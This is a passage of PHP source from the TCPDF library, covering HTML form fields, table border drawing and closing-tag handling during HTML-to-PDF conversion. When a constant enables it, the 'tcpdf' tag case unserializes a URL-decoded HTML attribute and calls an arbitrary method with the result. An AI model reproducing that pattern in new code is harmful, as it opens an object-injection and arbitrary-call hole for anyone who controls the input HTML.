$this->form_action; if ($this->form_enctype != 'FDF') { $action['Flags'] = array('ExportFormat'); } if ($this->form_mode == 'get') { $action['Flags'] = array('GetMethod'); } $this->Button($name, $w, $h, $value, $action, $prop, $opt, '', '', false); break; } case 'reset': { if (!isset($value)) { $value = 'reset'; } $w = $this->GetStringWidth($value) * 1.5; $h *= 1.6; $prop = array('lineWidth'=>1, 'borderStyle'=>'beveled', 'fillColor'=>array(196, 196, 196), 'strokeColor'=>array(255, 255, 255)); $this->Button($name, $w, $h, $value, array('S'=>'ResetForm'), $prop, $opt, '', '', false); break; } case 'file': { $prop['fileSelect'] = 'true'; $this->TextField($name, $w, $h, $prop, $opt, '', '', false); if (!isset($value)) { $value = '*'; } $w = $this->GetStringWidth($value) * 2; $h *= 1.2; $prop = array('lineWidth'=>1, 'borderStyle'=>'beveled', 'fillColor'=>array(196, 196, 196), 'strokeColor'=>array(255, 255, 255)); $jsaction = 'var f=this.getField(\''.$name.'\'); f.browseForFileToSubmit();'; $this->Button('FB_'.$name, $w, $h, $value, $jsaction, $prop, $opt, '', '', false); break; } case 'hidden': { if (isset($value)) { $opt['v'] = $value; } $opt['f'] = array('invisible', 'hidden'); $this->TextField($name, 0, 0, $prop, $opt, '', '', false); break; } case 'image': { // THIS TYPE MUST BE FIXED if (isset($tag['attribute']['src']) AND !$this->empty_string($tag['attribute']['src'])) { $img = $tag['attribute']['src']; } else { break; } $value = 'img'; //$opt['mk'] = array('i'=>$img, 'tp'=>1, 'if'=>array('sw'=>'A', 's'=>'A', 'fb'=>false)); if (isset($tag['attribute']['onclick']) AND !empty($tag['attribute']['onclick'])) { $jsaction = $tag['attribute']['onclick']; } else { $jsaction = ''; } $this->Button($name, $w, $h, $value, $jsaction, $prop, $opt, '', '', false); break; } case 'button': { if (!isset($value)) { $value = ' '; } $w = $this->GetStringWidth($value) * 1.5; $h *= 1.6; $prop = array('lineWidth'=>1, 'borderStyle'=>'beveled', 'fillColor'=>array(196, 196, 196), 'strokeColor'=>array(255, 255, 255)); if (isset($tag['attribute']['onclick']) AND !empty($tag['attribute']['onclick'])) { $jsaction = $tag['attribute']['onclick']; } else { $jsaction = ''; } $this->Button($name, $w, $h, $value, $jsaction, $prop, $opt, '', '', false); break; } } break; } case 'textarea': { $prop = array(); $opt = array(); if (isset($tag['attribute']['readonly']) AND !$this->empty_string($tag['attribute']['readonly'])) { $prop['readonly'] = true; } if (isset($tag['attribute']['name']) AND !$this->empty_string($tag['attribute']['name'])) { $name = $tag['attribute']['name']; } else { break; } if (isset($tag['attribute']['value']) AND !$this->empty_string($tag['attribute']['value'])) { $opt['v'] = $tag['attribute']['value']; } if (isset($tag['attribute']['cols']) AND !$this->empty_string($tag['attribute']['cols'])) { $w = intval($tag['attribute']['cols']) * $this->GetStringWidth(chr(32)) * 2; } else { $w = 40; } if (isset($tag['attribute']['rows']) AND !$this->empty_string($tag['attribute']['rows'])) { $h = intval($tag['attribute']['rows']) * $this->FontSize * $this->cell_height_ratio; } else { $h = 10; } $prop['multiline'] = 'true'; $this->TextField($name, $w, $h, $prop, $opt, '', '', false); break; } case 'select': { $h = $this->FontSize * $this->cell_height_ratio; if (isset($tag['attribute']['size']) AND !$this->empty_string($tag['attribute']['size'])) { $h *= ($tag['attribute']['size'] + 1); } $prop = array(); $opt = array(); if (isset($tag['attribute']['name']) AND !$this->empty_string($tag['attribute']['name'])) { $name = $tag['attribute']['name']; } else { break; } $w = 0; if (isset($tag['attribute']['opt']) AND !$this->empty_string($tag['attribute']['opt'])) { $options = explode('#!NwL!#', $tag['attribute']['opt']); $values = array(); foreach ($options as $val) { if (strpos($val, '#!TaB!#') !== false) { $opts = explode('#!TaB!#', $val); $values[] = $opts; $w = max($w, $this->GetStringWidth($opts[1])); } else { $values[] = $val; $w = max($w, $this->GetStringWidth($val)); } } } else { break; } $w *= 2; if (isset($tag['attribute']['multiple']) AND ($tag['attribute']['multiple']='multiple')) { $prop['multipleSelection'] = 'true'; $this->ListBox($name, $w, $h, $values, $prop, $opt, '', '', false); } else { $this->ComboBox($name, $w, $h, $values, $prop, $opt, '', '', false); } break; } case 'tcpdf': { if (defined('K_TCPDF_CALLS_IN_HTML') AND (K_TCPDF_CALLS_IN_HTML === true)) { // Special tag used to call TCPDF methods if (isset($tag['attribute']['method'])) { $tcpdf_method = $tag['attribute']['method']; if (method_exists($this, $tcpdf_method)) { if (isset($tag['attribute']['params']) AND (!empty($tag['attribute']['params']))) { $params = unserialize(urldecode($tag['attribute']['params'])); call_user_func_array(array($this, $tcpdf_method), $params); } else { $this->$tcpdf_method(); } $this->newline = true; } } } break; } default: { break; } } // define tags that support borders and background colors $bordertags = array('blockquote','br','dd','dl','div','dt','h1','h2','h3','h4','h5','h6','hr','li','ol','p','pre','ul','tcpdf','table'); if (in_array($tag['value'], $bordertags)) { // set border $dom[$key]['borderposition'] = $this->getBorderStartPosition(); } if ($dom[$key]['self'] AND isset($dom[$key]['attribute']['pagebreakafter'])) { $pba = $dom[$key]['attribute']['pagebreakafter']; // check for pagebreak if (($pba == 'true') OR ($pba == 'left') OR ($pba == 'right')) { // add a page (or trig AcceptPageBreak() for multicolumn mode) $this->checkPageBreak($this->PageBreakTrigger + 1); } if ((($pba == 'left') AND (((!$this->rtl) AND (($this->page % 2) == 0)) OR (($this->rtl) AND (($this->page % 2) != 0)))) OR (($pba == 'right') AND (((!$this->rtl) AND (($this->page % 2) != 0)) OR (($this->rtl) AND (($this->page % 2) == 0))))) { // add a page (or trig AcceptPageBreak() for multicolumn mode) $this->checkPageBreak($this->PageBreakTrigger + 1); } } return $dom; } /** * Process closing tags. * @param $dom (array) html dom array * @param $key (int) current element id * @param $cell (boolean) if true add the default left (or right if RTL) padding to each new line (default false). * @param $maxbottomliney (int) maximum y value of current line * @return $dom array * @protected */ protected function closeHTMLTagHandler($dom, $key, $cell, $maxbottomliney=0) { $tag = $dom[$key]; $parent = $dom[($dom[$key]['parent'])]; $lasttag = ((!isset($dom[($key + 1)])) OR ((!isset($dom[($key + 2)])) AND ($dom[($key + 1)]['value'] == 'marker'))); $in_table_head = false; // maximum x position (used to draw borders) if ($this->rtl) { $xmax = $this->w; } else { $xmax = 0; } if ($tag['block']) { $hbz = 0; // distance from y to line bottom $hb = 0; // vertical space between block tags // calculate vertical space for block tags if (isset($this->tagvspaces[$tag['value']][1]['h']) AND ($this->tagvspaces[$tag['value']][1]['h'] >= 0)) { $pre_h = $this->tagvspaces[$tag['value']][1]['h']; } elseif (isset($parent['fontsize'])) { $pre_h = (($parent['fontsize'] / $this->k) * $this->cell_height_ratio); } else { $pre_h = $this->FontSize * $this->cell_height_ratio; } if (isset($this->tagvspaces[$tag['value']][1]['n'])) { $n = $this->tagvspaces[$tag['value']][1]['n']; } elseif (preg_match('/[h][0-9]/', $tag['value']) > 0) { $n = 0.6; } else { $n = 1; } if ((!isset($this->tagvspaces[$tag['value']])) AND ($tag['value'] == 'div')) { $hb = 0; } else { $hb = ($n * $pre_h); } if ($maxbottomliney > $this->PageBreakTrigger) { $hbz = ($this->FontSize * $this->cell_height_ratio); } elseif ($this->y < $maxbottomliney) { $hbz = ($maxbottomliney - $this->y); } } // Closing tag switch($tag['value']) { case 'tr': { $table_el = $dom[($dom[$key]['parent'])]['parent']; if (!isset($parent['endy'])) { $dom[($dom[$key]['parent'])]['endy'] = $this->y; $parent['endy'] = $this->y; } if (!isset($parent['endpage'])) { $dom[($dom[$key]['parent'])]['endpage'] = $this->page; $parent['endpage'] = $this->page; } if (!isset($parent['endcolumn'])) { $dom[($dom[$key]['parent'])]['endcolumn'] = $this->current_column; $parent['endcolumn'] = $this->current_column; } // update row-spanned cells if (isset($dom[$table_el]['rowspans'])) { foreach ($dom[$table_el]['rowspans'] as $k => $trwsp) { $dom[$table_el]['rowspans'][$k]['rowspan'] -= 1; if ($dom[$table_el]['rowspans'][$k]['rowspan'] == 0) { if (($dom[$table_el]['rowspans'][$k]['endpage'] == $parent['endpage']) AND ($dom[$table_el]['rowspans'][$k]['endcolumn'] == $parent['endcolumn'])) { $dom[($dom[$key]['parent'])]['endy'] = max($dom[$table_el]['rowspans'][$k]['endy'], $parent['endy']); } elseif (($dom[$table_el]['rowspans'][$k]['endpage'] > $parent['endpage']) OR ($dom[$table_el]['rowspans'][$k]['endcolumn'] > $parent['endcolumn'])) { $dom[($dom[$key]['parent'])]['endy'] = $dom[$table_el]['rowspans'][$k]['endy']; $dom[($dom[$key]['parent'])]['endpage'] = $dom[$table_el]['rowspans'][$k]['endpage']; $dom[($dom[$key]['parent'])]['endcolumn'] = $dom[$table_el]['rowspans'][$k]['endcolumn']; } } } // report new endy and endpage to the rowspanned cells foreach ($dom[$table_el]['rowspans'] as $k => $trwsp) { if ($dom[$table_el]['rowspans'][$k]['rowspan'] == 0) { $dom[$table_el]['rowspans'][$k]['endpage'] = max($dom[$table_el]['rowspans'][$k]['endpage'], $dom[($dom[$key]['parent'])]['endpage']); $dom[($dom[$key]['parent'])]['endpage'] = $dom[$table_el]['rowspans'][$k]['endpage']; $dom[$table_el]['rowspans'][$k]['endcolumn'] = max($dom[$table_el]['rowspans'][$k]['endcolumn'], $dom[($dom[$key]['parent'])]['endcolumn']); $dom[($dom[$key]['parent'])]['endcolumn'] = $dom[$table_el]['rowspans'][$k]['endcolumn']; $dom[$table_el]['rowspans'][$k]['endy'] = max($dom[$table_el]['rowspans'][$k]['endy'], $dom[($dom[$key]['parent'])]['endy']); $dom[($dom[$key]['parent'])]['endy'] = $dom[$table_el]['rowspans'][$k]['endy']; } } // update remaining rowspanned cells foreach ($dom[$table_el]['rowspans'] as $k => $trwsp) { if ($dom[$table_el]['rowspans'][$k]['rowspan'] == 0) { $dom[$table_el]['rowspans'][$k]['endpage'] = $dom[($dom[$key]['parent'])]['endpage']; $dom[$table_el]['rowspans'][$k]['endcolumn'] = $dom[($dom[$key]['parent'])]['endcolumn']; $dom[$table_el]['rowspans'][$k]['endy'] = $dom[($dom[$key]['parent'])]['endy']; } } } $this->setPage($dom[($dom[$key]['parent'])]['endpage']); if ($this->num_columns > 1) { $this->selectColumn($dom[($dom[$key]['parent'])]['endcolumn']); } $this->y = $dom[($dom[$key]['parent'])]['endy']; if (isset($dom[$table_el]['attribute']['cellspacing'])) { $this->y += $this->getHTMLUnitToUnits($dom[$table_el]['attribute']['cellspacing'], 1, 'px'); } elseif (isset($dom[$table_el]['border-spacing'])) { $this->y += $dom[$table_el]['border-spacing']['V']; } $this->Ln(0, $cell); if ($this->current_column == $parent['startcolumn']) { $this->x = $parent['startx']; } // account for booklet mode if ($this->page > $parent['startpage']) { if (($this->rtl) AND ($this->pagedim[$this->page]['orm'] != $this->pagedim[$parent['startpage']]['orm'])) { $this->x -= ($this->pagedim[$this->page]['orm'] - $this->pagedim[$parent['startpage']]['orm']); } elseif ((!$this->rtl) AND ($this->pagedim[$this->page]['olm'] != $this->pagedim[$parent['startpage']]['olm'])) { $this->x += ($this->pagedim[$this->page]['olm'] - $this->pagedim[$parent['startpage']]['olm']); } } break; } case 'tablehead': // closing tag used for the thead part $in_table_head = true; $this->inthead = false; case 'table': { $table_el = $parent; // set default border if (isset($table_el['attribute']['border']) AND ($table_el['attribute']['border'] > 0)) { // set default border $border = array('LTRB' => array('width' => $this->getCSSBorderWidth($table_el['attribute']['border']), 'cap'=>'square', 'join'=>'miter', 'dash'=> 0, 'color'=>array(0,0,0))); } else { $border = 0; } $default_border = $border; // fix bottom line alignment of last line before page break foreach ($dom[($dom[$key]['parent'])]['trids'] as $j => $trkey) { // update row-spanned cells if (isset($dom[($dom[$key]['parent'])]['rowspans'])) { foreach ($dom[($dom[$key]['parent'])]['rowspans'] as $k => $trwsp) { if (isset($prevtrkey) AND ($trwsp['trid'] == $prevtrkey) AND ($trwsp['mrowspan'] > 0)) { $dom[($dom[$key]['parent'])]['rowspans'][$k]['trid'] = $trkey; } if ($dom[($dom[$key]['parent'])]['rowspans'][$k]['trid'] == $trkey) { $dom[($dom[$key]['parent'])]['rowspans'][$k]['mrowspan'] -= 1; } } } if (isset($prevtrkey) AND ($dom[$trkey]['startpage'] > $dom[$prevtrkey]['endpage'])) { $pgendy = $this->pagedim[$dom[$prevtrkey]['endpage']]['hk'] - $this->pagedim[$dom[$prevtrkey]['endpage']]['bm']; $dom[$prevtrkey]['endy'] = $pgendy; // update row-spanned cells if (isset($dom[($dom[$key]['parent'])]['rowspans'])) { foreach ($dom[($dom[$key]['parent'])]['rowspans'] as $k => $trwsp) { if (($trwsp['trid'] == $trkey) AND ($trwsp['mrowspan'] > 1) AND ($trwsp['endpage'] == $dom[$prevtrkey]['endpage'])) { $dom[($dom[$key]['parent'])]['rowspans'][$k]['endy'] = $pgendy; $dom[($dom[$key]['parent'])]['rowspans'][$k]['mrowspan'] = -1; } } } } $prevtrkey = $trkey; $table_el = $dom[($dom[$key]['parent'])]; } // for each row if (count($table_el['trids']) > 0) { unset($xmax); } foreach ($table_el['trids'] as $j => $trkey) { $parent = $dom[$trkey]; if (!isset($xmax)) { $xmax = $parent['cellpos'][(count($parent['cellpos']) - 1)]['endx']; } // for each cell on the row foreach ($parent['cellpos'] as $k => $cellpos) { if (isset($cellpos['rowspanid']) AND ($cellpos['rowspanid'] >= 0)) { $cellpos['startx'] = $table_el['rowspans'][($cellpos['rowspanid'])]['startx']; $cellpos['endx'] = $table_el['rowspans'][($cellpos['rowspanid'])]['endx']; $endy = $table_el['rowspans'][($cellpos['rowspanid'])]['endy']; $startpage = $table_el['rowspans'][($cellpos['rowspanid'])]['startpage']; $endpage = $table_el['rowspans'][($cellpos['rowspanid'])]['endpage']; $startcolumn = $table_el['rowspans'][($cellpos['rowspanid'])]['startcolumn']; $endcolumn = $table_el['rowspans'][($cellpos['rowspanid'])]['endcolumn']; } else { $endy = $parent['endy']; $startpage = $parent['startpage']; $endpage = $parent['endpage']; $startcolumn = $parent['startcolumn']; $endcolumn = $parent['endcolumn']; } if ($this->num_columns == 0) { $this->num_columns = 1; } if (isset($cellpos['border'])) { $border = $cellpos['border']; } if (isset($cellpos['bgcolor']) AND ($cellpos['bgcolor']) !== false) { $this->SetFillColorArray($cellpos['bgcolor']); $fill = true; } else { $fill = false; } $x = $cellpos['startx']; $y = $parent['starty']; $starty = $y; $w = abs($cellpos['endx'] - $cellpos['startx']); // get border modes $border_start = $this->getBorderMode($border, $position='start'); $border_end = $this->getBorderMode($border, $position='end'); $border_middle = $this->getBorderMode($border, $position='middle'); // design borders around HTML cells. for ($page = $startpage; $page <= $endpage; ++$page) { // for each page $ccode = ''; $this->setPage($page); if ($this->num_columns < 2) { // single-column mode $this->x = $x; $this->y = $this->tMargin; } // account for margin changes if ($page > $startpage) { if (($this->rtl) AND ($this->pagedim[$page]['orm'] != $this->pagedim[$startpage]['orm'])) { $this->x -= ($this->pagedim[$page]['orm'] - $this->pagedim[$startpage]['orm']); } elseif ((!$this->rtl) AND ($this->pagedim[$page]['olm'] != $this->pagedim[$startpage]['olm'])) { $this->x += ($this->pagedim[$page]['olm'] - $this->pagedim[$startpage]['olm']); } } if ($startpage == $endpage) { // single page $deltacol = 0; $deltath = 0; for ($column = $startcolumn; $column <= $endcolumn; ++$column) { // for each column $this->selectColumn($column); if ($startcolumn == $endcolumn) { // single column $cborder = $border; $h = $endy - $parent['starty']; $this->y = $y; $this->x = $x; } elseif ($column == $startcolumn) { // first column $cborder = $border_start; $this->y = $starty; $this->x = $x; $h = $this->h - $this->y - $this->bMargin; if ($this->rtl) { $deltacol = $this->x + $this->rMargin - $this->w; } else { $deltacol = $this->x - $this->lMargin; } } elseif ($column == $endcolumn) { // end column $cborder = $border_end; if (isset($this->columns[$column]['th']['\''.$page.'\''])) { $this->y = $this->columns[$column]['th']['\''.$page.'\'']; } $this->x += $deltacol; $h = $endy - $this->y; } else { // middle column $cborder = $border_middle; if (isset($this->columns[$column]['th']['\''.$page.'\''])) { $this->y = $this->columns[$column]['th']['\''.$page.'\'']; } $this->x += $deltacol; $h = $this->h - $this->y - $this->bMargin; } $ccode .= $this->getCellCode($w, $h, '', $cborder, 1, '', $fill, '', 0, true)."\n"; } // end for each column } elseif ($page == $startpage) { // first page $deltacol = 0; $deltath = 0; for ($column = $startcolumn; $column < $this->num_columns; ++$column) { // for each column $this->selectColumn($column); if ($column == $startcolumn) { // first column $cborder = $border_start; $this->y = $starty; $this->x = $x; $h = $this->h - $this->y - $this->bMargin; if ($this->rtl) { $deltacol = $this->x + $this->rMargin - $this->w; } else { $deltacol = $this->x - $this->lMargin; } } else { // middle column $cborder = $border_middle; if (isset($this->columns[$column]['th']['\''.$page.'\''])) { $this->y = $this->columns[$column]['th']['\''.$page.'\'']; } $this->x += $deltacol; $h = $this->h - $this->y - $this->bMargin; } $ccode .= $this->getCellCode($w, $h, '', $cborder, 1, '', $fill, '', 0, true)."\n"; } // end for each column } elseif ($page == $endpage) { // last page $deltacol = 0; $deltath = 0; for ($column = 0; $column <= $endcolumn; ++$column) { // for each column $this->selectColumn($column); if ($column == $endcolumn) { // end column $cborder = $border_end; if (isset($this->columns[$column]['th']['\''.$page.'\''])) { $this->y = $this->columns[$column]['th']['\''.$page.'\'']; } $this->x += $deltacol; $h = $endy - $this->y; } else { // middle column $cborder = $border_middle; if (isset($this->columns[$column]['th']['\''.$page.'\''])) { $this->y = $this->columns[$column]['th']['\''.$page.'\'']; } $this->x += $deltacol; $h = $this->h - $this->y - $this->bMargin; } $ccode .= $this->getCellCode($w, $h, '', $cborder, 1, '', $fill, '', 0, true)."\n"; } // end for each column } else { // middle page $deltacol = 0; $deltath = 0; for ($column = 0; $column < $this->num_columns; ++$column) { // for each column $this->selectColumn($column); $cborder = $border_middle; if (isset($this->columns[$column]['th']['\''.$page.'\''])) { $this->y = $this->columns[$column]['th']['\''.$page.'\'']; } $this->x += $deltacol; $h = $this->h - $this->y - $this->bMargin; $ccode .= $this->getCellCode($w, $h, '', $cborder, 1, '', $fill, '', 0, true)."\n"; } // end for each column } if ($cborder OR $fill) { $offsetlen = strlen($ccode); // draw border and fill if ($this->inxobj) { // we are inside an XObject template if (end($this->xobjects[$this->xobjid]['transfmrk']) !== false) { $pagemarkkey = key($this->xobjects[$this->xobjid]['transfmrk']); $pagemark = $this->xobjects[$this->xobjid]['transfmrk'][$pagemarkkey]; $this->xobjects[$this->xobjid]['transfmrk'][$pagemarkkey] += $offsetlen; } else { $pagemark = $this->xobjects[$this->xobjid]['intmrk']; $this->xobjects[$this->xobjid]['intmrk'] += $offsetlen; } $pagebuff = $this->xobjects[$this->xobjid]['outdata']; $pstart = substr($pagebuff, 0, $pagemark); $pend = substr($pagebuff, $pagemark); $this->xobjects[$this->xobjid]['outdata'] = $pstart.$ccode.$pend; } else { // draw border and fill if (end($this->transfmrk[$this->page]) !== false) { $pagemarkkey = key($this->transfmrk[$this->page]); $pagemark = $this->transfmrk[$this->page][$pagemarkkey]; } elseif ($this->InFooter) { $pagemark = $this->footerpos[$this->page]; } else { $pagemark = $this->intmrk[$this->page]; } $pagebuff = $this->getPageBuffer($this->page); $pstart = substr($pagebuff, 0, $pagemark); $pend = substr($pagebuff, $pagemark); $this->setPageBuffer($this->page, $pstart.$ccode.$pend); } } } // end for each page // restore default border $border = $default_border; } // end for each cell on the row if (isset($table_el['attribute']['cellspacing'])) { $this->y += $this->getHTMLUnitToUnits($table_el['attribute']['cellspacing'], 1, 'px'); } elseif (isset($table_el['border-spacing'])) { $this->y += $table_el['border-spacing']['V']; } $this->Ln(0, $cell); $this->x = $parent['startx']; if ($endpage > $startpage) { if (($this->rtl) AND ($this->pagedim[$endpage]['orm'] != $this->pagedim[$startpage]['orm'])) { $this->x += ($this->pagedim[$endpage]['orm'] - $this->pagedim[$startpage]['orm']); } elseif ((!$this->rtl) AND ($this->pagedim[$endpage]['olm'] != $this->pagedim[$startpage]['olm'])) { $this->x += ($this->pagedim[$endpage]['olm'] - $this->pagedim[$startpage]['olm']); } } } if (!$in_table_head) { // we are not inside a thead section $this->cell_padding = $table_el['old_cell_padding']; // reset row height $this->resetLastH(); if (($this->page == ($this->numpages - 1)) AND ($this->pageopen[$this->numpages])) { $plendiff = ($this->pagelen[$this->numpages] - $this->emptypagemrk[$this->numpages]); if (($plendiff > 0) AND ($plendiff < 60)) { $pagediff = substr($this->getPageBuffer($this->numpages), $this->emptypagemrk[$this->numpages], $plendiff); if (substr($pagediff, 0, 5) == 'BT /F') { // the difference is only a font setting $plendiff = 0; } } if ($plendiff == 0) { // remove last blank page $this->deletePage($this->numpages); } } if (isset($this->theadMargins['top'])) { // restore top margin $this->tMargin = $this->theadMargins['top']; } if (!isset($table_el['attribute']['nested']) OR ($table_el['attribute']['nested'] != 'true')) { // reset main table header $this->thead = ''; $this->theadMargins = array(); $this->pagedim[$this->page]['tm'] = $this->tMargin; } } $parent = $table_el; break; } case 'a': { $this->HREF = ''; break; } case 'sup': { $this->SetXY($this->GetX(), $this->GetY() + ((0.7 * $parent['fontsize']) / $this->k)); break; } case 'sub': { $this->SetXY($this->GetX(), $this->GetY() - ((0.3 * $parent['fontsize']) / $this->k)); break; } case 'div': { $this->addHTMLVertSpace($hbz, $hb, $cell, false, $lasttag); break; } case 'blockquote': { if ($this->rtl) { $this->rMargin -= $this->listindent; } else { $this->lMargin -= $this->listindent; } --$this->listindentlevel; $this->addHTMLVertSpace($hbz, $hb, $cell, false, $lasttag); break; } case 'p': { $this->addHTMLVertSpace($hbz, $hb, $cell, false, $lasttag); break; } case 'pre': { $this->addHTMLVertSpace($hbz, $hb, $cell, false, $lasttag); $this->premode = false; break; } case 'dl': { --$this->listnum; if ($this->listnum <= 0) { $this->listnum = 0; $this->addHTMLVertSpace($hbz, $hb, $cell, false, $lasttag); } else { $this->addHTMLVertSpace(0, 0, $cell, false, $lasttag); } $this->resetLastH(); break; } case 'dt': { $this->lispacer = ''; $this->addHTMLVertSpace(0, 0, $cell, false, $lasttag); break; } case 'dd': { $this->lispacer = ''; if ($this->rtl) { $this->rMargin -= $this->listindent; } else { $this->lMargin -= $this->listindent; } --$this->listindentlevel; $this->addHTMLVertSpace(0, 0, $cell, false, $lasttag); break; } case 'ul': case 'ol': { --$this->listnum; $this->lispacer = ''; if ($this->rtl) { $this->rMargin -= $this->listindent; } else { $this->lMargin -= $this->listindent; } --$this->listindentlevel; if ($this->listnum <= 0) { $this->listnum = 0; $this->addHTMLVertSpace($hbz, $hb, $cell, false, $lasttag); } else { $this->addHTMLVertSpace(0, 0, $cell, false, $lasttag); } $this->resetLastH(); break; } case 'li': { $this->lispacer = ''; $this->addHTMLVertSpace(0, 0, $cell, false, $lasttag); break; } case 'h1': case 'h2': case 'h3': case 'h4': case 'h5': case 'h6': { $this->addHTMLVertSpace($hbz, $hb, $cell, false, $lasttag); break; } // Form fields (since 4.8.000 - 2009-09-07) case 'form': { $this->form_action = ''; $this->form_enctype = 'application/x-www-form-urlencoded'; break; } default : { break; } } // draw border and background (if any) $this->drawHTMLTagBorder($parent, $xmax); if (isset($dom[($dom[$key]['parent'])]['attribute']['pagebreakafter'])) { $pba = $dom[($dom[$key]['parent'])]['attribute']['pagebreakafter']; // check for pagebreak if (($pba == 'true') OR ($pba == 'left') OR ($pba == 'right')) { // add a page (or trig AcceptPageBreak() for multicolumn mode) $this->checkPageBreak($this->PageBreakTrigger + 1); } if ((($pba == 'left') AND (((!$this->rtl) AND (($this->page % 2) == 0)) OR (($this->rtl) AND (($this->page % 2) != 0)))) OR (($pba == 'right') AND (((!$this->rtl) AND (($this->page % 2) != 0)) OR (($this->rtl) AND (($this->page % 2) == 0))))) { // add a page (or trig AcceptPageBreak() for multicolumn mode) $this->checkPageBreak($this->PageBreakTrigger + 1); } } $this->tmprtl = false; return $dom; } /** * Add vertical spaces if needed. * @param $hbz (string) Distance between current y and line bottom. * @param $hb (string) The height of the break. * @param $cell (boolean) if true add the default left (or right if RTL) padding to each new line (default false). * @param $firsttag (boolean) set to true when the tag is the first. * @param $lasttag (boolean) set to true when the tag is the last. * @protected */ protected function addHTMLVertSpace($hbz=0, $hb=0, $cell=false, $firsttag=false, $lasttag=false) { if ($firsttag) { $this->Ln(0, $cell); $this->htmlvspace = 0; return; } if ($lasttag) { $this->Ln($hbz, $cell); $this->htmlvspace = 0; return; } if ($hb < $this->htmlvspace) { $hd = 0; } else { $hd = $hb - $this->htmlvspace; $this->htmlvspace = $hb; } $this->Ln(($hbz + $hd), $cell); } /** * Return the starting coordinates to draw an html border * @return array containing top-left border coordinates * @protected * @since 5.7.000 (2010-08-03) */ protected function getBorderStartPosition() { if ($this->rtl) { $xmax = $this->lMargin; } else { $xmax = $this->w - $this->rMargin; } return array('page' => $this->page, 'column' => $this->current_column, 'x' => $this->x, 'y' => $this->y, 'xmax' => $xmax); } /** * Draw an HTML block border and fill * @param $tag (array) array of tag properties. * @param $xmax (int) end X coordinate for border. * @protected * @since 5.7.000 (2010-08-03) */ protected function drawHTMLTagBorder($tag, $xmax) { if (!isset($tag['borderposition'])) { // nothing to draw return; } $prev_x = $this->x; $prev_y = $this->y; $prev_lasth = $this->lasth; $border = 0; $fill = false; $this->lasth = 0; if (isset($tag['border']) AND !empty($tag['border'])) { // get border style $border = $tag['border']; if (!$this->empty_string($this->thead) AND (!$this->inthead)) { // border for table header $border = $this->getBorderMode($border, $position='middle'); } } if (isset($tag['bgcolor']) AND ($tag['bgcolor'] !== false)) { // get background color $old_bgcolor = $this->bgcolor; $this->SetFillColorArray($tag['bgcolor']); $fill = true; } if (!$border AND !$fill) { // nothing to draw return; } if (isset($tag['attribute']['cellspacing'])) { $clsp = $this->getHTMLUnitToUnits($tag['attribute']['cellspacing'], 1, 'px'); $cellspacing = array('H' => $clsp, 'V' => $clsp); } elseif (isset($tag['border-spacing'])) { $cellspacing = $tag['border-spacing']; } else { $cellspacing = array('H' => 0, 'V' => 0); } if (($tag['value'] != 'table') AND (is_array($border)) AND (!empty($border))) { // draw the border externally respect the sqare edge. $border['mode'] = 'ext'; } if ($this->rtl) { if ($xmax >= $tag['borderposition']['x']) { $xmax = $tag['borderposition']['xmax']; } $w = ($tag['borderposition']['x'] - $xmax); } else { if ($xmax <= $tag['borderposition']['x']) { $xmax = $tag['borderposition']['xmax']; } $w = ($xmax - $tag['borderposition']['x']); } if ($w <= 0) { return; } $w += $cellspacing['H']; $startpage = $tag['borderposition']['page']; $startcolumn = $tag['borderposition']['column']; $x = $tag['borderposition']['x']; $y = $tag['borderposition']['y']; $endpage = $this->page; $starty = $tag['borderposition']['y'] - $cellspacing['V']; $currentY = $this->y; $this->x = $x; // get latest column $endcolumn = $this->current_column; if ($this->num_columns == 0) { $this->num_columns = 1; } // get border modes $border_start = $this->getBorderMode($border, $position='start'); $border_end = $this->getBorderMode($border, $position='end'); $border_middle = $this->getBorderMode($border, $position='middle'); // temporary disable page regions $temp_page_regions = $this->page_regions; $this->page_regions = array(); // design borders around HTML cells. for ($page = $startpage; $page <= $endpage; ++$page) { // for each page $ccode = ''; $this->setPage($page); if ($this->num_columns < 2) { // single-column mode $this->x = $x; $this->y = $this->tMargin; } // account for margin changes if ($page > $startpage) { if (($this->rtl) AND ($this->pagedim[$page]['orm'] != $this->pagedim[$startpage]['orm'])) { $this->x -= ($this->pagedim[$page]['orm'] - $this->pagedim[$startpage]['orm']); } elseif ((!$this->rtl) AND ($this->pagedim[$page]['olm'] != $this->pagedim[$startpage]['olm'])) { $this->x += ($this->pagedim[$page]['olm'] - $this->pagedim[$startpage]['olm']); } } if ($startpage == $endpage) { // single page for ($column = $startcolumn; $column <= $endcolumn; ++$column) { // for each column $this->selectColumn($column); if ($startcolumn == $endcolumn) { // single column $cborder = $border; $h = ($currentY - $y) + $cellspacing['V']; $this->y = $starty; } elseif ($column == $startcolumn) { // first column $cborder = $border_start; $this->y = $starty; $h = $this->h - $this->y - $this->bMargin; } elseif ($column == $endcolumn) { // end column $cborder = $border_end; $h = $currentY - $this->y; } else { // middle column $cborder = $border_middle; $h = $this->h - $this->y - $this->bMargin; } $ccode .= $this->getCellCode($w, $h, '', $cborder, 1, '', $fill, '', 0, true)."\n"; } // end for each column } elseif ($page == $startpage) { // first page for ($column = $startcolumn; $column < $this->num_columns; ++$column) { // for each column $this->selectColumn($column); if ($column == $startcolumn) { // first column $cborder = $border_start; $this->y = $starty; $h = $this->h - $this->y - $this->bMargin; } else { // middle column $cborder = $border_middle; $h = $this->h - $this->y - $this->bMargin; } $ccode .= $this->getCellCode($w, $h, '', $cborder, 1, '', $fill, '', 0, true)."\n"; } // end for each column } elseif ($page == $endpage) { // last page for ($column = 0; $column <= $endcolumn; ++$column) { // for each column $this->selectColumn($column); if ($column == $endcolumn) { // end column $cborder = $border_end; $h = $currentY - $this->y; } else { // middle column $cborder = $border_middle; $h = $this->h - $this->y - $this->bMargin; } $ccode .= $this->getCellCode($w, $h, '', $cborder, 1, '', $fill, '', 0, true)."\n"; } // end for each column } else { // middle page for ($column = 0; $column < $this->num_columns; ++$column) { // for each column $this->selectColumn($column); $cborder = $border_middle; $h = $this->h - $this->y - $this->bMargin; $ccode .= $this->getCellCode($w, $h, '', $cborder, 1, '', $fill, '', 0, true)."\n"; } // end for each column } if ($cborder OR $fill) { $offsetlen = strlen($ccode); // draw border and fill if ($this->inxobj) { // we are inside an XObject template if (end($this->xobjects[$this->xobjid]['transfmrk']) !== false) { $pagemarkkey = key($this->xobjects[$this->xobjid]['transfmrk']); $pagemark = $this->xobjects[$this->xobjid]['transfmrk'][$pagemarkkey]; $this->xobjects[$this->xobjid]['transfmrk'][$pagemarkkey] += $offsetlen; } else { $pagemark = $this->xobjects[$this->xobjid]['intmrk']; $this->xobjects[$this->xobjid]['intmrk'] += $offsetlen; } $pagebuff = 